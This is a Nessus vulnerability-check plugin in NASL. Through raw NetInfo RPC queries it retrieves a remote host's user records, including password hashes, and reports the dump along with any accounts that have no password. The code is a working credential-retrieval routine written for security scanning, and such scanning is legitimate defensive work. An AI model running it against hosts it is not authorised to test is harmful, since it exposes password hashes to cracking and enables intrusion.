home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / netinfo_passwd.nasl < prev    next >
Text File  |  2005-01-14  |  9KB  |  397 lines

  1. #
  2. # This script is (C) Tenable Network Security
  3. #
  4.  
  5. if(description)
  6. {
  7.  script_id(11898);
  8.  script_bugtraq_id(2953);
  9.  script_version("$Revision: 1.7 $");
  10.  
  11.  name["english"] = "Obtain /etc/passwd using NetInfo";
  12.  
  13.  script_name(english:name["english"]);
  14.  
  15.  desc["english"] = "
  16. This script attempts to read the password file of the remote
  17. host by using NetInfo.";
  18.  
  19.  
  20.  script_description(english:desc["english"]);
  21.  
  22.  summary["english"] = "Uses NetInfo to read /etc/passwd remotely";
  23.  
  24.  script_summary(english:summary["english"]);
  25.  
  26.  script_category(ACT_GATHER_INFO);
  27.  
  28.  script_copyright(english:"This script is Copyright (C) 2003 Tenable Network Security");
  29.  family["english"] = "General";
  30.  script_family(english:family["english"]);
  31.  script_dependencies("rpc_portmap.nasl", "netinfo_detect.nasl");
  32.  exit(0);
  33. }
  34.  
  35. function get_rpc_port(protocol)
  36.  local_var    broken, req, soc, r, port;
  37.  local_var    a, b, c, d, p_a, p_b, p_c, p_d, pt_a, pt_b, pt_c, pt_d;
  38.  
  39.  
  40.  
  41.  a = rand() % 255;
  42.  b = rand() % 255;
  43.  c = rand() % 255;
  44.  d = rand() % 255;
  45.  
  46.  p_a = program / 16777216;     p_a = p_a % 256;
  47.  p_b = program / 65356;     p_b = p_b % 256;
  48.  p_c = program / 256;       p_c = p_c % 256;
  49.  p_d = program % 256;
  50.  
  51.  pt_a = protocol / 16777216; pt_a = pt_a % 256;
  52.  pt_b = protocol / 65535   ; pt_b = pt_b % 256;
  53.  pt_c = protocol / 256;    ; pt_c = pt_c % 256;
  54.  pt_d = protocol % 256;
  55.  
  56.  
  57.  req = raw_string(a,     b,     c,     d,     # XID
  58.            0x00, 0x00, 0x00, 0x00,    # Msg type: call
  59.           0x00, 0x00, 0x00, 0x02,    # RPC Version
  60.           0x00, 0x01, 0x86, 0xA0,    # Program
  61.           0x00, 0x00, 0x00, 0x02,    # Program version
  62.           0x00, 0x00, 0x00, 0x03,    # Procedure
  63.           0x00, 0x00, 0x00, 0x00,    # Credentials - flavor
  64.           0x00, 0x00, 0x00, 0x00,     # Credentials - length
  65.           0x00, 0x00, 0x00, 0x00,    # Verifier - Flavor
  66.           0x00, 0x00, 0x00, 0x00,    # Verifier - Length
  67.           
  68.           0x0b, 0xed, 0x48, 0xa1,    # Program
  69.           0xFF, 0xFF, 0xFF, 0xFF,    # Version (any)
  70.           pt_a, pt_b, pt_c, pt_d,    # Proto (udp)
  71.           0x00, 0x00, 0x00, 0x00    # Port
  72.            );
  73.     
  74.       
  75.   port = int(get_kb_item("rpc/portmap"));
  76.   if(port == 0)port = 111;
  77.        
  78.       
  79.  broken = get_kb_item(string("/tmp/rpc/noportmap/", port));
  80.  if(broken)return(0);
  81.  
  82.        
  83.  soc = open_sock_udp(port);
  84.  send(socket:soc, data:req);
  85.  r = recv(socket:soc, length:1024);
  86.  
  87.  close(soc);
  88.  if(!r)
  89.  {
  90.   set_kb_item(name:string("/tmp/rpc/noportmap/", port), value:TRUE);
  91.   return(0);
  92.  }
  93.  
  94.  if(strlen(r) < 28)
  95.   return(0);
  96.  else
  97.   {
  98.    p_d = ord(r[27]);
  99.    p_c = ord(r[26]);
  100.    p_b = ord(r[25]);
  101.    p_a = ord(r[24]);
  102.    port = p_a;
  103.    port = port * 256;
  104.    port = port +p_b; 
  105.    port = port * 256;
  106.    port = port + p_c; 
  107.    port = port * 256;
  108.    port = port + p_d;
  109.    return(port);
  110.   }
  111. }
  112.  
  113.  
  114.  
  115.  
  116.  
  117. function netinfo_recv(socket)
  118. {
  119.  local_var buf, len;
  120.  
  121.  buf = recv(socket:soc, length:4);
  122.  if(strlen(buf) < 4)return NULL;
  123.  
  124.  len = ord(buf[3]) + ord(buf[2])*256;
  125.  
  126.  buf += recv(socket:soc, length:len);
  127.  return buf;
  128. }
  129.  
  130.  
  131. function decode_strings(reply)
  132. {
  133.  local_var len, pad, start;
  134.  local_var ret, str, value;
  135.  
  136.  ret = make_list();
  137.  start = 46;
  138.   
  139.  while ( TRUE )
  140.  {
  141.  if(start > strlen(reply))break;
  142.  len = ord(reply[start]) * 256 + ord(reply[start+1]);
  143.  start += 2;
  144.  str = substr(reply, start, start + len - 1);
  145.  if( strlen(str) % 4 ) pad = 4 - strlen(str) % 4;
  146.  else pad = 0;
  147.  start += len + 6 + pad;
  148.  len = ord(reply[start]) * 256 + ord(reply[start+1]);
  149.  start += 2;
  150.  value = substr(reply, start, start + len - 1);
  151.  if( strlen(value) % 4 ) pad = 4 - strlen(value) % 4;
  152.  else pad = 0;
  153.  start += len + 2 + pad;
  154.  ret[str] = value;
  155.  }
  156.  return ret;
  157.  
  158. }
  159.  
  160.  
  161. report = "";
  162. passwdless = "";
  163.  
  164.  
  165. rpcport = get_rpc_port(protocol:IPPROTO_TCP);
  166. if ( rpcport && get_port_state(rpcport))
  167. {
  168.  soc = open_sock_tcp(rpcport);
  169.  if (  soc ) 
  170.  {
  171.   req = raw_string(0x80, 0x00, 0x00, 0x28, 0x11, 0xe0, 0x40, 0x95,
  172.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
  173.          0x0b, 0xed, 0x48, 0xa1, 0x00, 0x00, 0x00, 0x01,
  174.          0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00,
  175.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  176.          0x00, 0x00, 0x00, 0x00);
  177.  
  178.  send(socket:soc, data:req);
  179.  r = netinfo_recv(socket:soc);
  180.  close(soc);
  181.  if(strlen(r) > 35)
  182.  {
  183.   num_domains = ord(r[35]);
  184.   start = 38;
  185.   for ( i = 0 ; i < num_domains ; i ++ )
  186.    {
  187.    if(start > strlen(r))break;
  188.    len = ord(r[start]) * 256 + ord(r[start+1]);
  189.    start += 2;
  190.    domain[i] = substr(r, start, start + len - 1);
  191.    start += len + 10;
  192.    if(len % 4)start += 4 - (len % 4);
  193.    }
  194.   }
  195.  }
  196. }
  197.  
  198. rpcport = get_rpc_port(protocol:IPPROTO_UDP);
  199. flag = 0;
  200. if ( rpcport )
  201. {
  202.  for ( n = 0 ; n < num_domains ; n ++ )
  203.  {
  204.  soc = open_sock_udp(rpcport);
  205.  l_lo = strlen(domain[n]) % 256;
  206.  l_hi = strlen(domain[n]) / 256;
  207.  r = raw_string(0x68, 0xc1, 0x58, 0x98, 0x00, 0x00, 0x00, 0x00,
  208.         0x00, 0x00, 0x00, 0x02, 0x0b, 0xed, 0x48, 0xa1,
  209.         0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03,
  210.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  211.         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  212.         0x00, 0x00, l_hi, l_lo) + domain[n];
  213.  if(strlen(domain[n]) % 4)r += crap(data:raw_string(0), length:4-(strlen(domain[n]) % 4));
  214.  send(socket:soc, data:r);
  215.  r = recv(socket:soc, length:4096);
  216.  close(soc);
  217.  if ( !r ) break;
  218.  else flag = 1;
  219.  
  220.  port = ord(r[strlen(r) - 2]) * 256 + ord(r[strlen(r) - 1]);
  221.  domain_port[domain[n]] = port;
  222.  }
  223. }
  224.  
  225. #
  226. # If we can not connect to nibindd, then we brute force
  227. # our way by connecting to every port on which we KNOW that
  228. # netinfo is listening.
  229. #
  230. if ( ! flag )
  231. {
  232.  ports = get_kb_list("Services/netinfo");
  233.  if(isnull(ports))exit(0);
  234.  else ports = make_list(ports);
  235.  foreach p (ports)
  236.  {
  237.   domain_port["unknown_on_port_" + string(p)] = p;
  238.  }
  239. }
  240.  
  241. foreach dom (keys(domain_port))
  242. {
  243.  port = domain_port[dom];
  244.  if ( get_port_state(port) )
  245.  {
  246.  soc = open_sock_tcp(port);
  247.  if( soc ) 
  248.  {
  249.  req = raw_string(0x80, 0x00, 0x00, 0x28, 0x15, 0xeb, 0x49, 0x80,
  250.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
  251.          0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
  252.          0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
  253.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  254.          0x00, 0x00, 0x00, 0x00);
  255.  
  256. send(socket:soc, data:req);
  257. r = netinfo_recv(socket:soc);
  258.  
  259.  
  260.  
  261. req = raw_string(0x80, 0x00, 0x00, 0x28, 0x15, 0xeb, 0x49, 0x7f,
  262.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
  263.          0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
  264.          0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00,
  265.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  266.          0x00, 0x00, 0x00, 0x00);
  267.  
  268. send(socket:soc, data:req);
  269. r = netinfo_recv(socket:soc);
  270.  
  271.  
  272.  
  273. #
  274. # Request the users map
  275.  
  276. req = raw_string(0x80, 0x00, 0x00, 0x44, 0x15, 0xeb, 0x49, 0x7e,
  277.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
  278.          0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
  279.          0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00,
  280.           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  281.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  282.          0x00, 0x00, 0x00, 0x0d, 0x00, 0x00, 0x00, 0x04,
  283.              0x6e, 0x61, 0x6d, 0x65, 0x00, 0x00, 0x00, 0x05,
  284.          0x75, 0x73, 0x65, 0x72, 0x73, 0x00, 0x00, 0x00);
  285.  
  286. send(socket:soc, data:req);
  287. r = netinfo_recv(socket:soc);
  288.  
  289. if ( r )
  290. {
  291. req = raw_string(0x80, 0x00, 0x00, 0x30, 0x15, 0xeb, 0x49, 0x7d,
  292.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
  293.          0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
  294.          0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00,
  295.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  296.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  297.          0x00, 0x00, 0x00, ord(r[strlen(r) - 1]));
  298.  
  299. send(socket:soc, data:req);
  300. r = netinfo_recv(socket:soc);
  301. }
  302.  
  303. if ( r )
  304. {
  305. req = raw_string(0x80, 0x00, 0x00, 0x30, 0x15, 0xeb, 0x49, 0x7c,
  306.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
  307.          0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
  308.          0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00,
  309.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  310.          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  311.          0x00, 0x00, 0x00, ord(r[strlen(r) - 1]));
  312.  
  313.  
  314. send(socket:soc, data:req);
  315. r = netinfo_recv(socket:soc);
  316. }
  317.  
  318. if(strlen(r) > 35)
  319.  {
  320. num_users = ord(r[35]);
  321.  
  322.  
  323. j = 0;
  324. for(i=0;i<num_users*4;i+=4)
  325. {
  326.  if(40 + i > strlen(r))break;
  327.  users[j] = substr(r, 36 + i, 39 + i);
  328.  j++;
  329. }
  330.  
  331. users[j] = NULL;
  332.  
  333. for ( i = 0 ; i < num_users ; i ++ )
  334. {
  335.  req = raw_string(0x80, 0x00, 0x00, 0x30, 0x15, 0xeb, 0x49, 0x7b,
  336.           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
  337.           0x0b, 0xed, 0x48, 0xa0, 0x00, 0x00, 0x00, 0x02,
  338.           0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00,
  339.           0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  340.           0x00, 0x00, 0x00, 0x00) + users[i] + raw_string(
  341.           0x00, 0x00, 0x00, 0x0c);
  342.  send(socket:soc, data:req);
  343.  r = netinfo_recv(socket:soc);
  344.  user = decode_strings(reply:r);
  345.  if(user["name"] && user["uid"])
  346.  {
  347.  if ( flag == 0 )
  348.  {
  349.  report += ". In domain '" + dom + "' :
  350.  
  351. ";
  352.  flag = 1;
  353.  }
  354.   
  355.  report += string(user["name"], ":", user["passwd"], ":", user["uid"], ":", user["gid"], ":", user["realname"], ":", user["home"], ":", user["shell"], "\n");
  356.  if(strlen(user["passwd"]) == 0 )
  357.   {
  358.   passwdless += '  . ' + user["name"] + '\n';
  359.   }
  360.  }
  361.  }
  362.  }
  363.  }
  364. }
  365.  flag = 0;
  366.  
  367. }
  368.  
  369.  
  370.  
  371. if(strlen(report))
  372. {
  373.  report = "
  374. Using NetInfo, it was possible to obtain the password file of the remote host
  375. by querying it directly. The content of this file is :
  376.  
  377. " + report + "
  378.  
  379. An attacker may use it to set up a brute force attack to crack the 
  380. passwords contained in the file, and then use the gained passwords to
  381. login into the remote host, either remotely or locally";
  382.  
  383.  
  384.  
  385. if(strlen(passwdless)) 
  386. {
  387.  report += "
  388.  
  389. Note that the following accounts have NO PASSWORD set :
  390. " + passwdless;
  391.     }
  392.  
  393.  security_hole(port:port, data:report);
  394.  }
  395.